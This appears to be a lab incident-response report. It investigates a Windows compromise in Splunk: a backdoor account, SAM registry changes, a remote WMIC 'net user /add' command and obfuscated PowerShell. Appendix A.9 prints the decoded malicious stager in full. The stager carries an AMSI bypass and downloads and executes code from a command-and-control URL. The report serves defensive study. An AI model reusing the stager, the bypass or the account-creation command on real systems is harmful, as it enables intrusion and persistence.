

Digital Forensics and Incident Response Report

Investigating with Splunk – Log Analysis Case

1. Executive Summary

This report analyzes security logs ingested into Splunk from several Windows hosts. The objective was to identify unauthorized account creation, registry modification, malicious PowerShell activity, and indicators of attacker-controlled command-and-control communication. All findings are supported by screenshots stored in the evidence/screenshots directory.

2. Log Overview

Reference: Screenshot 1 – index search

A total of 12,256 events were collected and ingested into the main index. This provides the dataset used for investigation.

3. Unauthorized Account Activity

3.1 Backdoor User Creation

Reference: Screenshot 2 – new account

The attacker created a new unauthorized user account named:

Alberto

3.2 Registry Key Modification

Reference: Screenshot 3 – changed registry key

A registry key associated with the new account was modified at the following path:

HKLM\SAM\SAM\Domains\Account\Users\Names\Alberto(Default)

This modification suggests persistence through manipulation of SAM registry data.

4. User Impersonation

Reference: Screenshot 4 – impersonated user

The adversary attempted to impersonate the legitimate user:

James

5. Remote Account Manipulation

Reference: Screenshot 5 – account creation command

A remote WMIC command was used to create the backdoor account:

C:\Windows\System32\Wbem\WMIC.exe /node:WORKSTATION6 process call create "net user /add Alberto paw0rd1"

5.1 Logon Attempts

Reference: Screenshot 6 – absence of logon

No successful logon attempts were observed for user Alberto.

6. Compromised Host Identification

Reference: Screenshot 7 – infected host

All malicious events originated from the host:

James.browne

7. Malicious PowerShell Execution

Reference: Screenshot 8 – execution events

PowerShell logging recorded malicious encoded script execution.

Event counts related to malicious behavior include:

Pipeline Execution Details: 97 events

Executing Pipeline: 79 events

Registry object added or deleted: 13 events

This confirms substantial attacker activity involving obfuscated PowerShell commands.

8. Encoded Payload Analysis

Reference: Screenshot 9 – base64 decoding

A Base64-encoded PowerShell payload was decoded and revealed:

- AMSI bypass attempts
- Custom HTTP user-agent spoofing
- Download-and-execute functionality
- Communication with an attacker-controlled URL

9. Command-and-Control Communication

Reference: Screenshot 10 – defanged URL

The decoded malicious script reached out to the following URL:

<http://10.10.10.5/news.php>

8.

This served as the attacker's command-and-control endpoint.

9. Conclusion

Analysis confirms that the attacker:

- Created a backdoor user account (Alberto)
- Modified registry entries to support persistence
- Attempted to impersonate the legitimate user James
- Used remote WMIC execution to manipulate accounts
- Executed malicious encoded PowerShell scripts
- Performed AMSI bypass attempts and launched external payloads
- Contacted an attacker-controlled internal server for C2 operations

These findings confirm a full compromise of the affected host. The system requires immediate isolation, reimaging, and credential resets for all associated accounts.

Appendix A: Evidence Screenshots

A.1 Index Event Count

1 index=main

12,256 events (before 12/11/25 6:54:09.000 AM) No Event Sampling

Events (12,256) Patterns Statistics Visualization

Format Timeline - Zoom Out + Zoom to Selection X Deselect 10 milliseconds per column

	Time	Event
< Hide Fields	All Fields	<i>5/11/22 10:32:19.000 PM</i> <code>{ [-]</code> <code>@version: 1</code> <code>Category: Pipeline Execution Details</code> <code>Channel: Windows PowerShell</code> <code>EventID: 800</code> <code>EventReceivedTime: 2022-02-14 08:06:49</code> <code>EventTime: 2022-02-14 08:06:48</code> <code>EventType: INFO</code> <code>ExecutionProcessID: 0</code> <code>Hostname: James.browne</code> <code>Keywords: 36028797018963970</code>

1 2 3 4 5 6 7 8 ... Next >

A.2 Backdoor User Creation

Subject:

Security ID:	S-1-5-21-4020993649-1037605423-417876593-1104
Account Name:	James
Account Domain:	Cybertees
Logon ID:	0x551686

New Account:

Security ID:	S-1-5-21-1969843730-2406867588-1543852148-1000
Account Name:	A1berto
Account Domain:	WORKSTATION6

Attributes:

A.3 Registry Key Modification

```

Message: Registry value set:
RuleName: -
EventType: SetValue
UtcTime: 2022-02-14 12:06:02.420
ProcessGuid: {83d0c8c3-43ca-5f5f-0c00-000000000400}
ProcessId: 740
Image: C:\windows\system32\lsass.exe
TargetObject: HKLM\SAM\SAM\Domains\Account\Users\Names\Alberto\(Default)
Details: Binary Data
    Opcode: Info
    OpcodeValue: 0
    ProcessGuid: {83d0c8c3-43ca-5f5f-0c00-000000000400}
    ProcessId: 740
    ProviderGuid: {5770385F-C22A-43E0-BF4C-06F5698FFBD9}
    RecordNumber: 183206
    RuleName: -
    Severity: INFO

```

A.4 Impersonated User

User [X](#)

4 Values, 0.971% of events Selected

Reports [Top values](#) [Top values by time](#) [Rare values](#)

[Events with this field](#)

Values	Count	%	
NT AUTHORITY\SYSTEM	70	58.824%	<div style="width: 58.824%; background-color: #555;"></div>
Cybertees\Alberto	24	20.168%	<div style="width: 20.168%; background-color: #555;"></div>
NT AUTHORITY\NETWORK SERVICE	20	16.807%	<div style="width: 16.807%; background-color: #555;"></div>
Cybertees\James	5	4.202%	<div style="width: 4.202%; background-color: #555;"></div>

A.5 Remote Account Creation Command

List	Format	20 Per Page
i	Time	Event
>	5/11/22 10:32:18.000 PM	{ [-] @version: 1 Category: Process Creation Channel: Security CommandLine: "C:\windows\System32\Wbem\WMIC.exe" /node:WORKSTATION6 process call create "net user /add Alberto paw0rd1" EventID: 4688 EventReceivedTime: 2022-02-14 08:06:03 EventTime: 2022-02-14 08:06:01 EventType: AUDIT_SUCCESS ExecutionProcessID: 4 Hostname: James.browne Keywords: -9214364837600035000 MandatoryLabel: S-1-16-12288 Message: A new process has been created.

A.6 Logon Attempts for Backdoor User

Category

7 Values, 100% of events Selected

Reports

[Top values](#) [Top values by time](#) [Rare values](#)

[Events with this field](#)

Values	Count	%
Process Create (rule: ProcessCreate)	4	28.571%
Process Creation	3	21.428%
Registry object added or deleted (rule: RegistryEvent)	2	14.286%
User Account Management	2	14.286%
Executing Pipeline	1	7.143%
Pipeline Execution Details	1	7.143%
Registry value set (rule: RegistryEvent)	1	7.143%

A.7 Compromised Host Identification

Hostname

1 Value, 94.444% of events

Selected Yes No

Reports

[Top values](#) [Top values by time](#) [Rare values](#)

[Events with this field](#)

Values	Count	%
James.browne	187	100%

A.8 Malicious PowerShell Event Counts

Category

9 Values, 100% of events

Selected Yes No

Reports

[Top values](#) [Top values by time](#) [Rare values](#)

[Events with this field](#)

Values	Count	%
Pipeline Execution Details	97	48.99%
Executing Pipeline	79	39.899%
Registry object added or deleted (rule: RegistryEvent)	13	6.566%
Process accessed (rule: ProcessAccess)	3	1.515%
Filtering Platform Connection	2	1.01%
Pipe Connected (rule: PipeEvent)	1	0.505%
Pipe Created (rule: PipeEvent)	1	0.505%
Process Create (rule: ProcessCreate)	1	0.505%
Process Creation	1	0.505%

A.9 Decoded Base64 Payload

Recipe

From Base64

Alphabet: A-Za-z0-9+=

Remove non-alphabet chars Strict mode

Decode text

Encoding: UTF-16LE (1200)

Input

SQBGACgA JABQAFMAvgB1AHIAUwBJAG8AbgBUAGEAYgBMAGUALgBQAFMAvgBFIAHIAUwBJAE8ATgauAE0AYQBKAEB8AgAgACOArwB1ACAAmWApAHsJAAXADEA0gBEADgAPQBBAHIAZQBGAf0ALgBBAFMAcwB1AE0AYgBSAHKAlgBIAQUdABuAHhKAUABFACgA JwbTAHKAcwB0AGUAbQAUAE0AYQBuAGEAZwB1AG0AZQBuAHQAlgBBAHUAdABvAG0AYQ0AGkAbwBuAC4AVQ0AGkAbwBsAGkAYwBSAFMZAQZQ0B0AHQaQBuAGcAcwAnAcwJwB0ACCkWnAnG8AbgBQAHUAYgBsAGkAYwSAFMAdABhAHQaQb jACkAQ7AEKArgoACQAMQAxAEIAZAA4CAkewKAEEA0QAAEUAU0Q9ACQAMQAxAEIARAA4CA4RwB1AHQAVgBhAElwAVQBFACgAJABuFUAbABMACKAOwB JAGYAKAAkEEAMQ04AGUAMQBBACCuUwBjAHIAQBWAHQAgAnACsA JwB5AG8AYwBrAEwAbwBnAGCAAGCaaQBuAGcAjwBdcAkewKAEEAMQ04AGUAMQBBACCuUwBjAHIAQBWAHQAgAnACsA JwB5AG8AYwBrAEwAbwBnAGCAaQBuAGCAJwBdFAJwBFG4AYQBjAGwAZQBTAGMcgBpAHAAdABCACkAwAnAGwAbwBjAGsATABvAGCzWbPAG4zWnAFOAAPQawADSAJAbhADEAOABJADEAmAnAFAYwByAGkACABOAEITA JwRACCABAbVAGIAwBnAGkAbgBnACCXQBBaccRQBuGEAYgBsAGUAlwBjAHIAaQBWAHQAgB5AG8AYwBrAEkAbgB2AG8AYwBhAHQaQb vAG4ATAbvAGCAzWbPAG4zWnAfn0APQawAH0JAB2AEETAA9AFSAQwBvAEwAbB1AgwAdAbpAE8ATgTAC4ARwB1AE4ARQByAGkAQwAUEQASQBjAFQaaOBPAGAQQBSAFkAMwBtAHQAcgBjAE4ARwFaeOB2AFQRQBTAC4ATwBCAEoRQBjAHQAxQbdAoA0gBuAGUwAoAka0wAkAHYQ0BmAC4AQ0BKAQEAKAAneUAbgBhAGIAbab1fMAYwByAGkACAB0AEIAJwA PACCabAbvAGMA'

Output

```
ion.Amsi'+ 'Utils');$Ref.GEtFieLd('amsiInitF'+'ailed','NonPublic,Static').SETValue($NULL,$TRUE);});[System.Net.ServicePointManager]:Expect100Continue=$False;$7a6ed=New-Object System.Net.WebClient;$u="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";$ser=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aB0AHQACA6AC8ALwAxADAAlgAxADAAlgA1AA=')));$t='/news.php';$7a6ed.Headers.Add('User-Agent',$u);$7a6ed.Proxy=[System.NET.WebRequest]::DefaultWebProxy;$7a6ed.Proxy.Credentials = [System.NET.CredentialCache]::DefaultNetworkCredential;$script:Proxy = $7a6ed.Proxy;$k=[System.Text.Encoding]::ASCII.GetBytes('qiu.g')$y?XxuSa=VD467!0LWB~rn8'I';$R=$D,$K=$Args;$S=0..255;0..255|%{$j=($j+$S[$_]+$K[$_.Count])%256;$S[$_],$S[$j]=$S[$j],$S[$_]};$D[%$i=($i+1)%256;$h=($h+$S[$i])%256;$S[$i],$S[$h]=$S[$h],$S[$i];$_-BxOr$S{($S[$i]+$S[$h])%256}}};$7a6ed.Headers.Add("Cookie","KuUzuid=VmEKv5dekgy7k/tlFFA8b2AaIs=");$Data=$7a6ed.DownloadData($S$R+$t);$iv=$DATA[0..3]$Data=$DATA[4..$Data.Length]-$Join[Char[]](& $R $Data ($IV+$K))|IEX
```

STEP  BAKE! Auto Bake

A.10 Defanged Malicious URL

Recipe

Defang URL

Escape dots Escape http Escape //:

Process: Valid domains and full URLs

Input

http://10.10.10.5/news.php

Output

hxxp[://]10[.]10[.]10[.]5/news[.]php

STEP  BAKE! Auto Bake